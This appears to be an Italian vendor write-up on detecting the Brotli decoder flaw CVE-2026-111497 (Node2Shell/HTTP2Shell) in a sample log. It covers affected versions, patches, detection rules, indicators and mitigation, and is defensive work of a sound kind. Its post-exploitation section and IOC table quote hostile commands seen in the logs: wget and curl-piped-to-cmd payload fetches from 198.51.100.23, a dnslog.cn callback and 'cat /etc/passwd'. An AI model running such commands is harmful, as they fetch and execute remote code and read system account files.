Il rilevamento di Node2Shell/HTTP2Shell è più difficile di quanto sembri, perché la vulnerabilità non è confinata a un solo prodotto. Node2Shell, chiamato anche HTTP2Shell, è CVE-2026-111497: una scrittura fuori dai limiti nel decoder C Brotli di Google, versioni dalla 1.0.3 alla 1.2.0, con un punteggio CVSS 4.0 di 9.2. Poiché il difetto si trova in una libreria di compressione condivisa, raggiunge Node.js, i pacchetti Brotli di Python, Bun, curl, Envoy e altri software che decodificano Brotli.
Questo articolo copre la rilevazione di Node2Shell/HTTP2Shell utilizzando un campione di log analizzato in LogTotal, uno strumento di analisi dei log che abbina gli eventi alle minacce conosciute. Di seguito, trattiamo il contesto della vulnerabilità, la fonte del log, ciò che ha riportato LogTotal e come rispondere.
Analisi di Node2Shell (HTTP2Shell)
Il codice vulnerabile si trova nelle versioni del decoder C Brotli dalla 1.0.3 alla 1.2.0. Google, come autorità di numerazione, l’ha classificato 9.2 secondo il CVSS 4.0, mentre Node.js lo valuta Elevato. Per leggere correttamente il campione di log, è utile sapere come viene attivato il bug, come è stato rivelato e quali versioni di software e configurazioni sono esposte.
Dettagli della vulnerabilità per Node2Shell
Uno stream Brotli che dichiarava un solo tipo di blocco e poi cambiava blocchi non veniva respinto, quindi la decodifica continuava in uno stato non valido e scriveva oltre un buffer. Qualsiasi processo che decomprime dati Brotli controllati da un aggressore può essere colpito, in due direzioni:
- In entrata: un corpo di richiesta HTTP compresso con Brotli creato ad arte inviato a un server che lo decodifica.
- In uscita: una risposta creata ad arte restituita a un client che la recupera.
Il bug ha diversi nomi. Node2Shell è arrivato per primo perché Node.js l’ha rivelato e risolto prima. HTTP2Shell riflette il fatto che raggiunge qualsiasi stack che decodifica Brotli su HTTP, e alcune coperture utilizzano anche Python2Shell e Broccoli2Shell.
Cronologia della divulgazione e dello sfruttamento
| Data (2026) | Evento |
| 27 Ottobre | CISA ha aggiunto il CVE al suo catalogo KEV; le agenzie federali statunitensi devono applicare la patch entro il 10 Novembre |
| 26 Ottobre | Lo sfruttamento in questo campione registrato su app-node-01 |
| 25 Ottobre | Microsoft ha rilasciato aggiornamenti .NET fuori dal ciclo regolare |
| 22 Ottobre | CVE pubblicato; esecuzione del codice mostrata pubblicamente su Node.js 24.22.0; Bun 1.4.4 rilasciato |
| 21 Ottobre | Divulgazione e rilasci di correzione di Node.js; Brotli 1.0.10, 1.1.1 e 1.2.1 rilasciati |
| 27 Febbraio | Correzione impegnata in google/brotli senza rilascio o avviso |
Il bug stesso è stato distribuito in Brotli 1.0.3 nel marzo 2018. Khai Tran e Sylvie Mayer di OpenAI Codex Security lo hanno riportato a Node.js. Esiste una prova pubblica di concetto, Imperva ed ELLIO hanno entrambi riprodotto l’esecuzione di codice contro build ufficiali di Node.js, e scanner che mappano quali host decompresso Brotli sono già in uso. L’esecuzione di codice non è stata dimostrata per i pacchetti Python, anche se si bloccano su input dannosi, come mostra il crash web-prod-01 in questo campione.
Versioni e correzioni interessate da Node2Shell
| Componente | Corretto in |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x e altre linee fine supporto | Nessuna correzione; passare a una linea supportata |
| Bun | 1.4.4 |
| Libreria Google Brotli | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| .NET runtime 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
Una versione vulnerabile è esposta solo se i dati dell’aggressore possono raggiungere il decoder. In Node.js, quel percorso esiste tramite Express 5, body-parser 2.x, i parser di corpo Koa, @fastify/compress con decompressione delle richieste, fetch() e chiamate dirette node:zlib Brotli. In Python, requests, httpx, aiohttp e Scrapy utilizzano il pacchetto brotli o brotlicffi ogni volta che è installato. In .NET, la decompressione di Brotli è disattivata per impostazione predefinita, ed Envoy e Istio sono esposti solo con il decompressore Brotli abilitato. curl decodifica Brotli solo con –compressed, tramite la libreria di sistema libbrotli, quindi è necessario un pacchetto di distribuzione corretto; Debian e Red Hat hanno distribuito quelli corretti.
Fonte e raccolta del log
| Attributo | Valore |
| File | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| Eventi | 11 |
| Finestra temporale | 26 Ottobre 2026, 11:30:55 a 11:33:05 UTC |
| Schema | Stile ECS |
| Fonti | 4 messaggi plain-text del kernel Linux e systemd-coredump; 7 eventi di creazione processo del Microsoft Defender per l’Endpoint |
Host nel campione
Tre host appaiono nei dati grezzi, su due sistemi operativi. Ognuno mostra una parte diversa dell’esposizione di Node2Shell.
| Host | OS | Runtime | Attività nei log |
| app-node-01 | Linux | App Node.js /opt/app/server.js | Crash di Brotli, poi comandi post-exploitation |
| web-prod-01 | Linux | Processo di Python | Crash in _brotli.cpython-311 |
| win-dev-01 | Windows | App Node.js C:Usersdevuserappserver.js | Download-and-execute, PowerShell nascosto |
Rileva Node2Shell (HTTP2Shell)
LogTotal ha elaborato 11 righe in 5,3 secondi e ha corrisposto 23 regole su 10 righe. Ha formato 2 catene, ne ha riportata 1 e ne ha filtrata 1 al passaggio di verifica AI.
| Campo di verdetto | Risultato |
| Verdetto | Sospetto, necessita di indagine |
| Severità | Alta |
| Fiducia | Media |
La catena riportata è Node2Shell / HTTP2Shell è una vulnerabilità critica (CVE-2026-111497): Alta, 100% corrispondenza, 2 regole attivate. Si trova su un host pseudonimizzato tra le 11:30 e le 11:31 UTC, e quella finestra ed evidence corrispondono ad app-node-01.
Sfruttamento: il crash del decoder Brotli
La regola “Possibile Tentativo di Esploit CVE-2026-111497 (HTTP2Shell / Node2Shell) – Crash Nativo del Decoder Brotli” ha corrisposto a un segfault del nodo in libbrotlidec.so.1.1.0. Lo stack del core dump è coronato da BrotliDecoderDecompressStream.
Il rapporto mappa questo crash a negazione del servizio (T1499.004), che è il punto da cui deriva la fase di Impatto. L’ultimo colpo della regola, alle 11:33, cade sul crash di python3 in _brotli.cpython-311 su web-prod-01, che mostra la stessa libreria fallendo in un secondo runtime.
Post-exploitation su Linux
“Processi Figlio NodeJS Sospetti [Linux]” si è attivata 4 volte mentre il nodo /opt/app/server.js ha generato:
- curl che recupera lo script di configurazione miner C3Pool XMRig pubblico
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn, un controllo callback fuori banda
- cat /etc/passwd
Post-exploitation su Windows, al di fuori della catena
La metà Windows del campione si trova al di fuori della catena riportata ma merita la stessa attenzione. Su win-dev-01, node.exe ha generato cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, un pattern di download-and-execute, e poi un powershell.exe nascosto che esegue whoami.
Le regole che si sono attivate su questa attività includono Processi Figlio NodeJS Sospetti [Windows], Read Contents From Stdin Via Cmd.EXE, e Cmdlet Powershell Sospetti. La catena filtrata, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), è stata guidata dalle esecuzioni di curl.
Indicatori di Compromesso (IOC) di Node2Shell da questo campione
| Indicatore | Tipo | Contesto |
| 198.51.100.23 | IP | Host di payload per s.sh (porta 3000) e /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | Script recuperato da wget su app-node-01 |
| https://198.51.100.23/api/w | URL | Pipe a cmd su win-dev-01 |
| 5axzi7.dnslog.cn | Dominio | Callback fuori banda via ping |
| Script di configurazione miner C3Pool XMRig | Download | Recuperato da curl dal nodo |
| libbrotlidec.so.1.1.0 con BrotliDecoderDecompressStream sulla pila | Firma del crash | Tentativo di sfruttamento Node.js |
| crash _brotli.cpython-311 | Firma del crash | Tentativo di sfruttamento Python |
| nodo / node.exe generando curl, wget, ping, cat, cmd.exe, powershell.exe | Linea di processi | Post-exploitation |
Utilizzare i risultati di LogTotal nel triage di Node2Shell
Inizia dalla catena riportata per confermare lo sfruttamento su app-node-01, quindi procedi attraverso ogni altra conclusione al di fuori della catena. In questo campione, le regole fuori catena e la catena filtrata indicano altri due host compromessi, web-prod-01 e win-dev-01.
Mitigazione Node2Shell (HTTP2Shell)
Applicare la patch solo a Node.js non chiude Node2Shell, perché il difetto risiede nel decoder condiviso di Brotli. Ogni runtime o proxy che decodifica Brotli necessita di un aggiornamento, e ogni host nel campione deve essere coperto.
Applicare la patch a ogni consumatore di Brotli
- Trova i servizi su Node.js al di sotto della versione 22.23.4, 24.22.1 o 26.12.1, su una linea Node.js fine supporto, o su Bun al di sotto di 1.4.4, inclusi le immagini base e gli host di build.
- Applica prima la patch ai servizi che decompressano i corpi delle richieste (Express 5, body-parser 2.x, i parser di corpo Koa, @fastify/compress), recuperano URL forniti dall’utente, o passano dati non fidati alle funzioni node:zlib Brotli.
- Aggiorna il runtime, quindi riavvia i processi e ricostruisci le immagini dei container, incluse app .NET autonome e binari costruiti con bun build –compile.
- Aggiorna PyPI brotli a 1.2.1 e brotlicffi a 1.2.1.0, e aggiorna il runtime .NET, Envoy, Istio, e i pacchetti distributivi brotli.
- Passa a una versione più recente al di fuori delle linee fine supporto di Node.js 20 che non riceveranno correzioni.
- Fino a quando le patch non saranno disponibili, rifiuta Content-Encoding: br nel WAF o nel proxy, confrontandolo in modo insensibile all’uso delle maiuscole e all’interno di elenchi come “gzip, br”. Questo non copre le risposte Brotli lette da fetch().
Risposta consigliata da LogTotal
- Isolare l’host.
- Raccogli dati di processo, sistema e rete per 11:30–11:33 UTC.
- Verifica il livello di patch di Node.js: 22.23.4, 24.22.1 o 26.12.1.
- Rimuovi i binari non autorizzati.
- Rifiuta Content-Encoding: br non fidato nel WAF.
- Esegui Node.js senza privilegi.
- Disabilita la decompressione automatica di Brotli dove possibile.
Passaggi aggiuntivi dalle prove grezze
- Allarga il campo a win-dev-01 e web-prod-01, non solo app-node-01.
- Blocca all’uscita 198.51.100.23 e *.dnslog.cn.
- Verifica la presenza di un miner: voci cron, unità systemd e un processo xmrig in esecuzione.
- Presumi che /etc/passwd sia stato letto e verifica gli account di conseguenza.
- Caccia per node, node.exe, o python3 che generano shell, downloader, o strumenti di rete.
Monitoraggio continuo di Node2Shell
Inoltra i messaggi del kernel e systemd-coredump insieme agli eventi di processo EDR. In questo campione, lo stack di coredump era l’unica prova diretta di sfruttamento, e gli eventi EDR hanno portato tutto ciò che è seguito.
FAQ
Che cosa è Node2Shell (HTTP2Shell) e come funziona?
Node2Shell, chiamato anche HTTP2Shell, è CVE-2026-111497: una scrittura fuori dai limiti nel decoder C Brotli di Google, versioni dalla 1.0.3 alla 1.2.0, con un punteggio CVSS 4.0 di 9.2. Dati Brotli creati ad arte possono mandare in crash qualsiasi processo che li decomprime, e in Node.js è stato mostrato che fornisce esecuzione di codice remoto. La sezione dell’analisi sopra spiega come funziona.
Quando è stato scoperto per la prima volta Node2Shell?
Khai Tran e Sylvie Mayer del OpenAI Codex Security hanno trovato il bug e lo hanno riportato a Node.js. Risale a Brotli 1.0.3 nel marzo 2018. Una correzione è stata impegnata a monte il 27 febbraio 2026 senza un rilascio, e Node.js ha rivelato la vulnerabilità il 21 ottobre 2026.
Qual è l’impatto di Node2Shell sui sistemi?
Il crash stesso è una negazione del servizio, e l’attività successiva mostra esecuzione di codice nel contesto del processo vulnerabile. In questo campione, ciò significa un download di uno script di configurazione cryptominer, un recupero di payload, un callback DNS fuori banda, una lettura di /etc/passwd e un download-and-execute su un host Windows.
Node2Shell può ancora influenzarmi nel 2026?
Sì. CVE-2026-111497 è sfruttato in natura ed elencato nel catalogo KEV di CISA. Distribuzioni di Node.js, Bun, Python, .NET e proxy non patchate rimangono esposte, e le linee Node.js 20 e altre fine supporto non riceveranno mai una correzione.
Come posso proteggermi da Node2Shell?
Applica la patch a Node.js e a ogni altro consumatore di Brotli, riavvia i processi e ricostruisci le immagini. Fino ad allora, rifiuta Content-Encoding: br nel WAF o nel proxy e disabilita la decompressione automatica di Brotli dove possibile. La sezione di mitigazione elenca tutti i passaggi.
Come posso rilevare Node2Shell?
Raccogli i log del kernel e systemd-coredump più gli eventi di processo EDR da ogni host Node.js e Python. Avvisa sui crash del decoder Brotli e sui runtime che generano shell o downloader. LogTotal mappa questi eventi alla catena Node2Shell, ma controlla anche le conclusioni fuori catena, poiché qui hanno fatto emergere due host aggiuntivi.